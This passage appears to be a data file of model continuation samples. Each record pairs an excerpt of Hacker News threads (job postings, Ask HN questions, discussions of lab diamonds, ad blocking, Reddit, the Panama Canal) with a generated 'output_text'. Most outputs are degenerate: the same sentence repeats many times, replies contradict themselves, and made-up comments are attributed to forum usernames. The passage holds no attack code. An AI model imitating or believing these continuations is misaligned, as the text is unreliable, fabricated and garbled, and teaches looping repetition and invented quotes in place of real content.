described in the articles can be solved by simply using\npromises. Error handling is centralized in your chain and any function can\nthrow and just like Python or Ruby you can catch anywhere you want. As for\nconsistency between callbacks, promises and generators, just pick one. We\nswitched from callbacks to promises and it was a great"} +{"output_text": "elery, Elasticsearch, Logstash, Kibana, Graphite, Sentry, Git, Jira,\nTravisCI, GitHub, Jenkins, Ansible Tower, GitLab, Jira Service Desk,\nPuppet/Ansible, SaltStack, Dnsimple, Sensu, Rackspace, Terraform, Puppet,\nDocker, Jenkins, Git, Jira Service Desk, Puppet/Ansible", "input_text": " and trusting. Our projects tend to be 1-2 engineers max so trust\nand accountability is required for us to work. Also helps us keep processes &\noverhead low. We appreciate that we've built a reasonably-sized, high-powered\nteam so far (55 employees incl. 30 engineers) and are always striving to be\nthe best place to work for them. We're looking for folks that love all of the\nabove and will help us keep our standards high.\n\nYou can go to www.hipmunk.com/jobs if you're interested!\n\n~~~\nmalhaar\nHey, You guys are doing amazing job! I did apply to hipmunk last month and\nawaiting reply. Should I apply again? Thanks!\n\n~~~\nnjay\nYes, please! You can send an email with your resume to jobs-2017@hipmunk.com\n\n------\nsuperscalar\nGambit Research Ltd ([http://gambitresearch.com](http://gambitresearch.com)) |\nLondon, UK | ONSITE | Full time\n\nAt Gambit we research and manage automated sports betting algorithms on behalf\nof our clients. Their algorithms run on our proprietary execution platform\nwhich interfaces with a large variety of bookmakers and exchanges, enabling\naccess to the best prices and massive liquidity.\n\nOur distributed, concurrent system has a core written in Erlang, which\ninteracts with a wide variety of Python processes across the rest of the\nbusiness. Some of the other technologies we use are: Linux (Ubuntu, CentOS),\nDocker, Kubernetes, Ansible, C, C++, Julia, R, Go, JavaScript, AngularJS,\nReactJS, Django, PostgreSQL, Redis, Apache Spark, Apache Kafka, RabbitMQ,\nC"} +{"output_text": "\nWe\u2019re looking for a senior software engineer to join our team.\n\nYou will be working on a variety of projects, including:\n\n\\- Developing a web application to manage the clinical trial process\n\n\\- Developing a web application to manage the clinical trial process\n\n\\- Developing a web application to manage the clinical trial process\n\n\\- Developing a web application to manage the clinical trial process\n\n\\- Developing a web application to manage the clinical trial process\n", "input_text": "Engineer, Software Engineer, SQL Server DBA | Portland, Oregon | ONSITE\n\nInComm is hiring for many positions in the Portland office. We're in the\nstored value product industry (think gift cards), and many other financial\nproducts. We're using C#, React, RabbitMQ, Redis, and SQL Server, and any\nexperience with AWS or Docker is a bonus. Building out APIs to integrate a\nwide variety of customers and third parties. Free lunch and breakfast once a\nweek, located downtown, free parking or TriMet pass. Free snacks and\nhackathons once a year. Great atmosphere and opportunity to grow.\n\nLooking for:\n\n* Senior UI/UX designer to help us create designs for new and existing products. In this role you will collaborate with our product management and software development teams to turn ideas, use cases, and user stories into mockups, wireframes, and working software. * Senior Systems Engineer to assist with dev ops * Senior Software Engineer (.NET/client side with AngularJS or React) * Senior Database Engineer (SQL Server) - ideal candidate for this position with have experience performing enterprise reporting development in a Microsoft environment. You will be sharp, motivated, hardworking, and well versed in enterprise reporting tooling, frameworks, and best practices. Experience writing testable, scalable solutions is very important to us. * SQL Server DBA\n\nRelocation may be available for some positions. Email me at rfaaberg at incomm\ndot com with your cover letter and resume if you're interested.\n\n------\nlschweikert\nVirta Health | San Francisco, CA [Onsite] | FULL-TIME\n\nVirta is on a mission to cure the most complex chronic diseases by combining\nadvanced biochemistry, clinical expertise, data science, and digital tools."} +{"output_text": " in 2014. We are a small team of engineers and designers\nbuilding a product that helps people live a healthier, happier life.\n\nWe are looking for an iOS engineer to join our team. You will be working on\nour iOS app, which is used by millions of people around the world.\n\nWe are looking for someone who is passionate about building great products and\nwho is excited to work on a product that is loved by millions of people.\n\nWe are a small team", "input_text": " performance computing, for\ncompiler design and implementation, or for distributed systems. Contributions\nto open source projects are also highly regarded.\n\nIf you are interested, please reach out at victor.nicollet@lokad.com (I'm the\nCTO) with your resume, and we will schedule a short interview over Skype,\nfollowed by an in-person interview in Paris. We are mostly looking for\ncandidates from Europe, but are willing to sponsor a visa for truly\nexceptional candidates.\n\n------\ndstillman\nZotero | Backend Developer | Fairfax, VA | REMOTE\n[https://www.zotero.org](https://www.zotero.org)\n\nZotero is an open-source project that develops software and web services to\nhelp people collect, organize, cite, and share their research. Our software is\nrecommended by most universities and used by millions of students, scholars,\nscientists, and researchers worldwide.\n\nWe're looking for a remote, full-time, contract developer to work on Zotero's\nserver-side architecture \u2014 our public API, backend services, AWS\ninfrastructure, etc. You\u2019ll be part of a small team producing free and open-\nsource software along with an amazing global community and help make a huge\ndifference in people's ability to manage their research effectively.\n\nMore details here: [https://www.zotero.org/jobs](https://www.zotero.org/jobs)\n\n------\nelwatto\nElevate (Apple App of the Year 2014) | iOS Engineer | San Francisco, CA |\nOnsite | elevateapp.com\n\nElevate is a cognitive training tool that was the recipient of Apple's App of\nthe Year award"} +{"output_text": " on top of a product\nthat you sell.\n\nThe book is not about building a business that sits on top of a product that\nyou sell.\n\n~~~\npius\nI'm not sure I understand your point.\n\n~~~\nflux\nThe book is about building a business that sits on top of a product that you\nsell.\n\nThe book is not about building a business that sits on top of a product that\nyou sell.\n\n~~~\npi", "input_text": "durable/corrosion resistant/easily repairable effect?\n\n------\nfrandroid\nDid Fraunhofer just repurpose MP3 codecs to aluminium surface patterns?\n\n------\nDailyHN\nVery clever.\n\nAlso seems like something pulled from ancient aliens.\n\n~~~\nexcalibur\nI was thinking Tony Stark. \"How did you solve the icing problem?\"\n\n~~~\npjmorris\nNice. I'd drummed up Dr Evil, \"Mr. Powers, you'll notice that all the sharks\n(planes) have laser beams attached to their heads. I figure every creature\ndeserves a warm meal.\"\n\n \n\nWhat's the best way to find UI/graphic design company for a $10,000 budget? - andrewstuart\n\nIs there some site where you can say (for example) \"I have a $10K budget and I'd like to choose a designer to work with\"? And then designers respond with some expression of interest.

Note: not looking at crowdsourcing solutions, just a way to find one designer/design company to work with.\n======\ncalebcjb\nWe might be interested.\n\nPlease email me caleb@oxzenmedia.com\n\nLet me do a needs audit with you to see if we are the right fit for you.\n\n~~~\nandrewstuart\nSorry I should clarify - I am not asking for submissions, I'm asking if such a\nsite exists where buyers can state their budget and designers respond.\n\n \nThe 4-hour workweek for startups - pius\nhttp://www.mystealthstartup.com/2008/04/14/the-4-hour-workweek-for-startups/\n======\nflux\nThe book is mainly about building a business that sits"} +{"output_text": "'s best to\nuse we.\n\n~~~\nmaguay\nThanks. I'll keep that in mind.\n\n------\nmaguay\nI'm the only author on my site, and I'm struggling with whether to use I or\nwe. Thoughts?\n\n~~~\nmaguay\nI'm the only author on my site, and I'm struggling with whether to use I or\nwe. Thoughts?\n\n~~~\nmaguay\nI'm", "input_text": "'t forget that so easily. You may also find connected thoughts and\nideas too. These can have more value than the insight.\n\nI will carry one of these ideas around for some time. Quick is not always\ngood. A genuine insight can take some time, days, maybe weeks even, to play\nout.\n\nOf course, this does then bring up how to understand what is a waste of time\nand what is not.\n\nNo answer for you there. There is genuine risk in all things. You can abandon\na book that does not yield net improvements, but only after internalizing\nenough to understand.\n\n~~~\ndwightgunning\n> Realization does take some human time. That is where the really good stuff\n> is.\n\n> My best improvements have come from these activities and some new ideas to\n> process and understand what they mean in my context, not just the context in\n> which they were presented.\n\nI guess that's really the nut of it.\n\nThank you.\n\n \n\nAsk HN: I versus We - maguay\n\nWhen writing a post, newsletter, or really anything for your site, startup, or freelance job where you're the only author/worker/employee, is it best to use I or We? I struggle with whether to use I or we in blog posts when I'm the only writer on the site. On other sites I write for, I use we always, but on my own where there's no other person for the we, it seems odd.

Thoughts, Opinions? What do you usually do?\n======\nhighlander\nIf it seems odd, don't do it. If you're the only person, I think it"} +{"output_text": " a tree. The rings are not perfect,\nbut they are still there.\n\n~~~\njpmattia\n> _Elemental impurities do add color (nitrogen=yellow, boron=blue), same as\n> mined diamonds, and faults and inclusions do naturally happen in the process.\n> However, at an atomic level, they are different than inclusions and\n> imperfections in mined diamonds._\n\nI'm not sure I understand this. Are you saying", "input_text": " really the point.\n\nA diamonds primary value is the history of it's making. People are\nunfortunately always going to be paying more for a diamond which has been\ndigged out by hard labour than created in a lab.\n\nKeep in mind the value of diamonds is mostly a perceptive one. I am pretty\nsure if you only did synthetic diamonds it would soon fail to be valuable as\nthe \"womans best friend\"\n\n------\njpmattia\n> His lab can tell the difference \u2014 they use microscopes and other instruments\n> to look for subtle features that reveal a diamond's origin.\n\nWild guess as to why anyone can tell the difference: Lab-grown diamonds are\nmore perfect than mined ones. It's probably pretty trivial to introduce\nimpurities to degrade the color, or change the deposition temperature in order\nto create faults in the lattice. Hell, throw in a microparticle or two for\ninclusions.\n\nI'd love to know more though, anyone got a reference?\n\n~~~\nericfranklin\nDiamond growers try their best to keep out impurities and imperfections.\nElemental impurities do add color (nitrogen=yellow, boron=blue), same as mined\ndiamonds, and faults and inclusions do naturally happen in the process.\nHowever, at an atomic level, they are different than inclusions and\nimperfections in mined diamonds.\n\nAs a producer, I don't see any incentive to make them imperfect on purpose,\nyet still distinguishable from mined diamonds. All larger diamonds intended\nfor gemstones come with independent grading reports, which will still identify\nit as grown regardless of presence or lack of impurities and imperfections.\n\nWhile not technically correct, some of the advanced detection equipment can be\nthought of like looking at growth rings on"} +{"output_text": ".\n\n~~~\nmars4rp\nI agree with you. I have been using adblock for years. I have also been using\nadblock plus for years. I have also been using uBlock for years. I have also\nbeen using Ghostery for years. I have also been using NoScript for years.\n\nI have also been using adblock plus for years. I have also been using uBlock\nfor years. I have also been using Ghostery for years", "input_text": "50k income, denver, into football and skiing, etc) the ml lets you just..\nupload an ad and a web page. No targeting. Click GO and it will find your\ncustomers. If Google or facebook can get into this space they'll succeed\ngreatly because they have so much data and users already trust them.\n\n~~~\nmars4rp\ncan you please name those platforms???\n\n~~~\nsoared\nI'm at an agency and have access to some closed betas, but I've been pretty\nimpressed with StackAdapt for their native. They just added video and display\nI believe but I haven't used them. You do a little bit of manual targeting but\ntheir ml really does well.\n\n~~~\nfumar\nWhen you say \"does well,\" what type of goal or kpi are referring to?\n\n~~~\nsoared\nWhite paper downloads for elderly people. For some reason their interface\nunderreports conversions though. But we've tied their traffic directly to\npurchases! One note though.. like some other channels you're buying a mixed\nbag. There is a lot of low quality traffic, but the diamonds in the rough do\nmake up for it.\n\n------\nkeldaris\nSince there's rarely any widely interpretable public data available, articles\nlike this and many others are my best gauge for noting that even the Internet\nadvertising industry itself recognizes that it's dying. This is very pleasant\nto observe.\n\nPersonally, I can't remember the last ad I've seen while browsing. The\ncombination of AdBlock Origin (with a very generous combination of various\nblocklists), Ghostery / Privacy Badger and NoScript effectively renders most\nadtech useless. The few remnants that refuse to be blocked I happily skip\noutright rather than enable"} +{"output_text": ".\n\n~~~\nresoluteteeth\nI don't think that's a very good idea. Dart is a language that is designed to\nbe used in a browser, and it's not very good at that.\n\n~~~\nthrowawaydbfif\nI think it's a good idea.\n\n------\njosteink\nI'm not sure I understand the point of this.\n\nGoogle is not going to replace JavaScript with Dart.\n\nGoogle is not", "input_text": "://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112148)\n\n[3]\n[https://www.ifixit.com/Teardown/OnePlus+2+Teardown/45352#s10...](https://www.ifixit.com/Teardown/OnePlus+2+Teardown/45352#s100455)\n\n[4] [http://www.anandtech.com/show/7921/qualcomm-announces-\nmumimo...](http://www.anandtech.com/show/7921/qualcomm-announces-\nmumimo-80211ac-family-increasing-the-efficiency-of-80211ac-networks)\n\n[5] [https://github.com/fuchsia-mirror/drivers-gpu-msd-intel-\ngen/...](https://github.com/fuchsia-mirror/drivers-gpu-msd-intel-\ngen/blob/master/src/device_id.h)\n\n------\nresoluteteeth\nIs this an actual plan of Google as a company, or is this some sort of\nMicrosoft-style war between divisions where the Chrome team has just decided\non its own that the future is based on Chrome and Dart?\n\nAlso, considering the way that the ARC runtime for Chromebooks was a failure\nand had to be replaced by a system that apparently essentially runs Android in\na container, will it really be possible for a completely different OS to\nprovide reasonable backward compatibility?\n\n~~~\nthrowawaydbfif\nI would say that Google is trying to replace JavaScript with dart in any way\nthey possibly can"} +{"output_text": "blind audition) the blind audition was\nsignificantly more likely to get a callback than the non-blind audition.\n\n~~~\nlearc83\n>I am not going to get fully into it at the moment (but there's a ton of\nresearch on the topic) but we know that resumes that say Lakisha are\nsignificantly less likely to get a callback than a resume that says Karen.\n\nI'm not sure what you mean by \"significantly less likely to", "input_text": " money\nwhere the mouth is on the issue.\n\n~~~\nyummyfajitas\nStrangely, we are unwilling to apply that same logic to traditional hiring\nprocesses. I.e., few companies have ever done a study (sufficient to win in\ncourt) to prove that their subjective human opinion-based tests do not have a\ndisparate impact. Yet processes like this are somehow allowed.\n\nI.e., if my subjective human hiring technique is biased, you need to prove I\ndiscriminated on purpose. If my objective, IQ-based technique is biased, I\nneed to prove I didn't. Why this disparity?\n\n~~~\nlearc83\n>Why this disparity?\n\nFor the simple fact that we already have evidence that some protected classes\nperform worse on IQ tests. Therefore, simply by using an IQ test you are\ndiscriminating against a protected class. The burden is on you to prove that\nthe discrimination is necessary. No one needs to prove that discrimination is\nhappening because you are using a test that has already been show to be\ndiscriminatory.\n\nInterview based hiring techniques are much more varied than IQ tests, and they\nhave not been shown to be near universally discriminatory. Therefore the\nburden is first to prove that discrimination is happening in the particular\nsituation.\n\n~~~\n__z\n>they have not been shown to be near universally discriminatory.\n\nThey actually have...\n\nI am not going to get fully into it at the moment (but there's a ton of\nresearch on the topic) but we know that resumes that say Lakisha are\nsignificantly less likely to get a callback than a resume that says Karen.\n\nAnother example is blinding in orchestras. When the practice became the\napplicant played behind a curtain ("} +{"output_text": ":\n\n\n\n------\njrockway\nI'm not sure I understand the point of this. It's not like you can't build\nstuff in space. You can build stuff in space.\n\n~~~\npeterwwillis\nYou can build stuff in space, but you can't launch it into space.\n\n~~~\njrockway\nYou can launch stuff into space.\n\n~~~", "input_text": "impf\nThanks to emerging low-cost satellite launches (like from\n), fun projects like are\nalready in the real of being possible. I may be an hopeless optimist, but some\nrelatively low-bandwidth hacker-operated satellite network within 20 years is\nnot _totally_ impossible.\n\n~~~\neru\nIn twenty years, as long as you got something up, it will be high bandwidth\ncompared with today.\n\n------\nstcredzero\n_phase two: Put a hacker into orbit._\n\nPhase 2.5: console widow, figure out how to get him back down. Alternate phase\n2: send cat into space instead, start new meme and initiate hacker war with\nPETA. (jk)\n\n~~~\npdelgallego\nPhase 2 is already in progress.\n\nCheck out the Copenhagen Suborbitals guys, they launch succesfuly their first\nsuborbital rocket a month ago.\n\n\n\n~~~\ngimpf\nNice video on their page. I especially loved their \"caution fragile\" marker --\non a rocket!\n\n------\npeterwwillis\nConsidering how most hackers build stuff at hackerspaces (\"i don't know how to\nbuild this, so let's go with trial and error and learn as we go!\") this sounds\ndangerous.\n\nBut cool.\n\n------\nbinbasti\nBy the way, we'll set up a Ruby village at the Camp. Come and join us:\n\n\n\nYou can also just support our cause to spread some Ruby love"} +{"output_text": " lot of money to be made in news, and it\u2019s not going to be\nautomatically handed over to the public domain.\"\n\nIt's not going to be handed over to the public domain. It's going to be\nhanded over to the public domain.\n\n\"The Times is not going to be the first to go down this road, but it\u2019s\ncertainly not the last.\"\n\nIt's not going to be the first to go down this road.", "input_text": " if you look at online newspapers as online services, then\nthey should be able to charge people for programmatic access to their service,\njust like any other tech service does through its API.\n\nIf I want to build an app on the back of Yahoo BOSS, I have to pay Yahoo.\n\nIf I want to build an app on the back of the New York Times, maybe I should\nhave to pay the New York Times.\n\n------\nsenthil_rajasek\nThis move may not be as naive as it may sound. Newspapers have built a user\nbase and loyalty over the years based on and presenting perspectives that suit\ntheir readership base.\n\nGoogle and other news aggregators break this ability of newspapers to \"present\na single perspective\" and often present headlines from WSJ and nytimes side by\nside.\n\nImagine the advantage newspaper sites would have if you HAVE to go to\nonline.wsj.com or nytimes.com to get your news instead of google.com/news or\nanother aggregator.\n\n~~~\ndschobel\nYou _do_ have to go to those sites to get your news. All you get from Google\nNews is a two sentence blurb and maybe a thumbnail image.\n\n~~~\nsenthil_rajasek\nNot without reading or having been exposed to an alternate view point in the\nthe cluster of headlines presented by aggregators...\n\n~~~\ndschobel\nAnd what exactly is so pernicious about an alternate view point?\n\n------\nnjharman\n\"usually headlines and a sentence or two is allowed under the legal doctrine\nof fair use. News organizations have been reluctant to test that idea in\ncourt\"\n\nYeah, cause it almost certainly is fair use.\n\n\"There\u2019s a"} +{"output_text": " you're interested in, we'd love to hear from you.\n\nApply here: [https://www.dailyburn.com/jobs/software-engineer-devops-\nnew...](https://www.dailyburn.com/jobs/software-engineer-devops-new-york-\naustin/)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring", "input_text": " users globally. Any questions what its like working with two teams\n(platform or android), shoot me an email: naveen@vsco.co\n\n------\ndumbfounder\nPlanetRisk | [http://planetrisk.com](http://planetrisk.com) | Mclean, VA\n(Washington, DC) | ONSITE\n\nWe are hiring.NET, Java, and big data developers. Full stack whenever\npossible!\n\n[http://www.planetrisk.com/about-us/careers/](http://www.planetrisk.com/about-\nus/careers/)\n\n------\ncasey_lang\nDaily Burn | Software Engineer, DevOps | New York, Austin | REMOTE (US Only)\n\nWe're looking to add a new member to our infrastructure team here at Daily\nBurn. We're still a small team so this role has a lot of responsibility and\nopportunity for growth. The team is responsible for keeping the site live and\ndeveloping tools to aid deployment. To do this we use:\n\n\\- Rails\n\n\\- Go\n\n\\- Ansible\n\n\\- The Hashicorp Stack (Terraform, Packer, Vagrant, Consul)\n\n\\- Google Cloud Platform\n\nIn the coming year our projects will include:\n\n\\- Ephemeral isolated staging environments\n\n\\- Chatops\n\n\\- Autoscaling\n\n\\- Vault integration\n\nDaily Burn is a fitness company with a focus on getting everyday people back\ninto shape. We have a live show we film daily as well as a back catalog of\nhundreds of original workouts. Everyday we get messages from users sharing the\nchanges they've made in their lives not every company can say the same. If\nfitness is an area"} +{"output_text": ".\n\nYou will be working with a small team of developers, designers and product\nmanagers to build a product that is used by hundreds of thousands of people\nevery month.\n\n== Requirements ==\n\n* You have a passion for building great products.\n\n* You have experience with React, Redux, Node.js, and MongoDB.\n\n* You have experience with HTML, CSS, and JavaScript.\n\n* You have experience with Git and GitHub.", "input_text": "ll\ncollaborate with other developers, designers, project managers, and\nphotographers to build complex functionality\u2013all while being around some\nreally nice people. You\u2019ll determine appropriate tools, methods, and solutions\nfor projects, help inform project scope, and estimate effort to inform project\nmanagers in setting project schedule and deadlines. If you want to work with a\ncreative team of professionals to develop engaging, results-oriented online\nproducts for high-visibility, high priority areas of Boston University, we\nwant to hear from you!\n\nSee full descriptions and apply: [http://www.bu.edu/interactive-design/join-\nour-team/](http://www.bu.edu/interactive-design/join-our-team/)\n\n------\nduellsy\nelev.io | Melbourne, Australia | Frontend Developer | Full Time\n\n== About us ==\n\nelevio is a fast growing Australian based startup, specialising in customer\nsuccess software. Having gone through Australias top accelerator program\n(Startmate) in 2016, and successfully raising a seed round in July '16, we're\nfurther expanding the team to deliver best in market software to help site\nowners better educate and up-skill their user base, through contextual in-app\nguidance.\n\nYou work will be viewed by teams at companies like Dell, Staples, AdRoll and\nhundreds more whose usage is among the 100M+ page views with our embeddable\ninstalled on each month.\n\n== The role ==\n\nYou will be responsible for our backend dashboard. This is the app our\ncustomers use to create content, view advanced and insightful reporting and\nsmart suggestions (which will aim to help them improve their product with data\ndriven decisions), manage settings, and a bunch of other tasks"} +{"output_text": " to\nget the old interface.\n\n~~~\nbserge\nI'm not sure if it's the new UI or the new backend, but it's definitely\nnoticeable.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not, but I'm really enjoying the\nreddit mobile app. I've been using it for a few days now and it's been\nabsolutely fantastic. I've been using the web app for a while", "input_text": "\netc.\n\n------\nretpirato\nThe fact that Reddit is an echo-chamber is one reason I never joined, & never\nwill, but there are some communities that would be useful like the android &\nkustom subreddits, the former of which already exists on Lemmy. I'm only\nholding off with Lemmy because they don't (yet at least) have a privacy\npolicy, which to me is essential especially considering the nature of the\nsite. The fact that they didn't at least put up some sort of template of a\nprivacy policy before the site was ever available to the public when that's a\ncommon part of any site that provides accounts, as a way of informing you how\nthey will handle the data you give them, is very troubling to me.\n\n------\nbenbristow\nLooks nice. Really fast webapp too.\n\nCongrats team! Looking forward to tracking this project's development.\n\n~~~\nvinay427\nYou're not kidding. This webapp is so fast (after the initial load) that I\ngenuinely wouldn't be surprised if the Reddit mobile website intentionally\nadds sleeps/delays as some have jokingly suspected in the past. On this site,\nI can actually scroll through posts or collapse comment threads without\nwondering if my touch input and/or browser are frozen.\n\n~~~\nbserge\nNew Reddit doesn't need sleep/delays, it's already slow as molasses heh.\n\nIf not for old.reddit.com, my time on Reddit would've gone way down :/\n\n~~~\ntakeda\nMy understanding was that s/he was referring to the new UI. Actually Reddit\nmakes it hard to be on the old interface, I have to use browser extension"} +{"output_text": "en.wikipedia.org/wiki/Panama_Canal_Railway#2001_reconstruction)\n\n~~~\nim3w1l\nI was thinking of the railroads that are already there.\n\n------\njessaustin\nI wonder if the Panama Canal is a good example of the \"tragedy of the\ncommons\".\n\n~~~\njessaustin\nI'm not sure if I'm being downvoted for this, but I'm", "input_text": " storms, excellent ship\n> repair teams, cheap fuel from its own refinery and, most important,\n> proximity to Asian ports that might eventually have cargo to ship.\n\n------\ngrecy\nIf you ever get the change, I highly recommend a visit to the canal. The scale\nis hard to comprehend. Watching container ships pass through is super\nsatisfying from an engineering perspective.\n\nMy visit: [http://theroadchoseme.com/the-panama-\ncanal](http://theroadchoseme.com/the-panama-canal)\n\n------\nkylelibra\nIf you are wondering why:\n\n\"A statement provided to us Friday from the Panama Canal Authority said that a\nhigh level of arrivals during the last in September coincided with schedule\ndry-chamber maintenance.\"\n\n~~~\nthrowaway_exer\nScheduled with who? Obviously not their clients, the shipping companies.\n\nKind of like ebay not considering their 2-hour Sunday \"planned maintenance\nevents\" to be outages... for 2 decades.\n\n~~~\nhelper\nWhat are the shipping companies going to do, use the Nicaragua Canal?\n\n~~~\nim3w1l\nDock ships on both sides of land. Truck goods from one ship to the other. Or\nmaybe that would also be too expensive?\n\n~~~\nzrail\nThere's a railroad. It can carry about 1,500 containers a day[1]. There are\napproximately 175,000 containers waiting to transit the canal, based on the\n33,500 figure in the linked Wiki page and the 5 day wait.\n\n[1]:\n[https://en.wikipedia.org/wiki/Panama_Canal_Railway#2001_reco...](https://"} +{"output_text": "to the HStore paper.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe article says that the deterministic system is faster, but it's not clear\nwhy.\n\n~~~\nbtilly\nThe point is that the deterministic system is more deterministic.\n\nThe article says that the deterministic system is faster, but it's not clear\nwhy.\n\nThe article says that the deterministic system is more deterministic.\n\nThe", "input_text": "\n\n------\nprodigal_erik\nThis sounds a lot like optimistic vs. pessimistic concurrency control, but\nover the set of _all_ transactions in flight. You proceed assuming none of\nthem are going to fail, but if any of them do, you're really screwed--you have\nto abort all of them and roll back to the last valid state to accept any more.\nStill, if we can stop rolling our own half-assed transactions over a set of\nfeature-poor data stores, we'll avoid a lot of ugly problems.\n\n~~~\nbtilly\nIf I read the article correctly, one requirement of their system is that\ntransactions have to be defined in such a way that all transactions succeed\nfor some definition of success.\n\n------\nrichchan\nThe idea does sound interesting - so it looks like they are trying to reduce\nthe amount of network handshaking by imposing a stricter isolation.\n\nI am not sure I am convinced by their results though. They say their\ndeterministic system seems viable when comparing its performance to\ntraditional systems under short in-memory transactions. That is a special case\nthat is clearly in their favor though. In that situation, the amount of time\nspent in processing data is greatly reduced so the network overhead becomes\nmuch more significant - so the system that does less network communications\nwill obviously win...\n\nI guess it may potentially be good for in-memory database systems for stuff\nlike OLTP apps (e.g. VoltDB and TimesTen), but then I think most OLTP apps are\nokay with a more relaxed isolation...\n\n~~~\nora600\nDaniel Abadi is one of the authors of the HStore paper that VoltDB is based\non. It looks like the deterministic order system is using similar requirements\n"} +{"output_text": " the filesystem.\n\n~~~\nSylos\nI don't know, but I think it's a good idea to make it possible to create new\nfiles, but not to modify existing ones.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nIf you're running Windows 10, you're already running a version of Windows 10\nthat has the new features.\n\nIf you're running Windows 7, you're already running a version", "input_text": "automatically doing anything and let me choose to do it myself. Be more like\nLinux.\n\n~~~\nTijdreiziger\nThis doesn't work for a majority of Windows users, because when given the\nchoice, they will never reboot.\n\n~~~\nulkesh\nWhich is how it should be.\n\nMicrosoft should design their OS to not require reboots for updates. The only\ntime I ever have to reboot my Linux box is for a kernel update \u2014 that\u2019s it.\n\n------\nhokkos\nWindows has a new feature called \"Controlled Folder Access\", it is a security\nmecanism that protect from ransomware. It is a great idea, but the\nimplementation is annoying. It block write access to selected directories, so\nlot of software fail to add a link to the desktop, or add files in the\nDocuments folder. It should have protect agains delete not new file creation.\nAlso the default Defender antivirus is so slow, it make the installation of\nsoftware package 2 or 3 slower.\n\n[https://www.bleepingcomputer.com/news/microsoft/windows-10s-...](https://www.bleepingcomputer.com/news/microsoft/windows-10s-controlled-\nfolder-access-anti-ransomware-feature-is-now-live/)\n\n~~~\nemodendroket\nTo protect from ransomware you need to at least prevent modification of\nexisting files.\n\n~~~\nSylos\nWhich he did not argue against. He said that creating new files should still\nbe possible.\n\n~~~\nemodendroket\nWell he only mentions delete. Do the Windows permissions actually make a\nmeaningful distinction between create and modify? I think that might have been\ndifficult to do without completely rewriting"} +{"output_text": " in the Gulf of Mexico are communicating with each other.\"\n======\njrockway\nI'm not sure how this is news. I've heard that blue whales communicate with\neach other over long distances, and that they have a low-frequency call that\ncan travel hundreds of miles.\n\n~~~\njrockway\nI guess I should have read the article before commenting.\n\n------\njrockway\nI'm not sure how this is news. I've heard that blue", "input_text": " joining. In previous\ndeployments of this system, potential recruits have clicked through on the ads\nat an unusually high rate, and watched over half a million minutes of video\ncontent that debunks terrorist recruiting messages,\u201d says Walker.\"\n\nDoes them performing this kind of intentional manipulation, and having such\nsuccess, scare the shit out of anyone else?\n\n------\npawadu\nHow about employing real people this time, google?\n\nYour previous efforts to police crafty humanss using AI has utterly failed.\nJust look at adsense and play store.\n\n~~~\nKlathmon\nThere is something like a decade of video uploaded to YouTube every day.\n\nEven if you employed entire countries you still wouldn't stand a chance at\nreviewing it all.\n\nAutomated systems are the only way it can function at all.\n\n~~~\npawadu\n> Automated systems are the only way it can function at all.\n\nNot in its current form. Google with all its might hasn't even managed to\nremove those \"work from home for $$$\" youtube comments.\n\nGoogle doesn't have a good way to incorporate human intelligence (users) into\nits AI. Pure AI has no chance against an army of highly adaptable humans.\n\n \n\nThe whale internet: communication over hundreds of miles - chadmalik\nhttp://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2010/07/11/SP781EBM1P.DTL&type=living\n\"What's really incredible is how all these whales showed up overnight,\" Black noted in an e-mail. \"We do know that blue whales have long-range communication. Their low-range frequency calls can travel hundreds of miles through the oceans. So it seems likely that the whales"} +{"output_text": " on the other. The student would be able to see the tutor's screen and vice versa. The tutor would be able to see the student's screen and vice versa. The tutor would be able to see the student's paper display and vice versa. The student would be able to see the tutor's paper display and vice versa. The student would be able to see the tutor's paper display and vice versa. The student would be able to see the tutor's paper display and vice versa. The student", "input_text": " it seems to me this one is not installed...

Can I make this move, as I need more resources for my site? Thank you for advance.\n======\ntmaly\nI use both, but if your a non-server guy, your going to have a learning curve\nif you want to use a VPS.\n\n~~~\nmaxraz\nThank you, Sir!\n\n------\nmaxraz\nI tried already a VPS, it's not for me - too hard. But recently I've heard\nabout managed VPS with free cPanel, that's why I had this idea.\n\n \n\nIdea for the structure of a tutoring site - andrewmech55\n\nI don't have any real coding ability and I certainly don't have time for a side project but I was hoping to get some feedback on an idea of mine:

Upon visiting the site you would be asked to register as a student or as a tutor. Upon registering as a tutor you would select your areas of expertise and take a few diagnostic tests, perhaps pulled from khan academy and other sites. You would be encouraged to buy a low cost usb writing pad to assist you in your teaching, and you would agree to accept no payment for your first 20 or so tutoring sessions. This is because you would be proving your abilities as a tutor to students who had agreed to do sessions with tutors of unproven ability (this would also serve as the free pricing tier). After each session the student would rate the tutor in several categories, allowing them to build up credibility and desirability among the students. Once they are proven the students who would like a more professional experience can submit reasonable payments before their session through stripe or some other simple payment system. The sessions look like a split screen with a video feed of the other person on one side and a virtual paper display"} +{"output_text": "\n\n~~~\njamesgeck0\nI'm not sure why you're being downvoted. The Telegraph article is the source\nof the Phoronix article.\n\n~~~\nsirn\nI'm not sure why you're being downvoted. The Telegraph article is the source\nof the Phoronix article.\n\n------\njamesgeck0\nI'm not sure why you're being downvoted. The Telegraph article is the source", "input_text": " X client\"; \"Linux support\"; suitably vague nouns). Searching\nhelps me resolve these words, to some degree; but I still don't know what this\nthing is (that is not a quotidian HN topic).\n\nI'm sure Lisp implementation articles are similarly opaque to non-initiates.\nBut, um, a little help, please? :)\n\n~~~\njohnswamps\nSteam is sort of like an app-store for games which only ran on Windows for a\nlong time. You buy games on Steam and can then download the games on any\ncomputer you install Steam on. There's a bunch of other stuff such as being\nable to talk to your friends, multiplayer, and keeping track of achievements.\nValve (the creators of Steam) are porting it to Mac and Linux. This is not,\nhowever, sufficient to play all games on Steam, since games from many\ncompanies are on Steam and not all of them are interested in making their\ngames cross-platform. So, in addition, Valve is porting their Source engine,\nwhich powers games such as Counter Strike, Team Fortress 2, Left 4 Dead, and\nPortal to Mac and Linux so that those players will able to play them. They\nwill of course be able to play any other games on Steam that are class-\nplatform.\n\n------\nsirn\nPhoronix's source seems to be from the Telegraph.co.uk's article[1]. While I\ndon't doubt Valve will release Steam for Linux, I'd wait for the slightly more\nofficial statement before declaring it's official.\n\n \n \n [1]: http://www.telegraph.co.uk/technology/apple/7715209/Steam-for-Mac-goes-live.html"} +{"output_text": " a big library. You\ncould go in and out as you pleased. You could read whatever you wanted. You\ncould take as much time as you 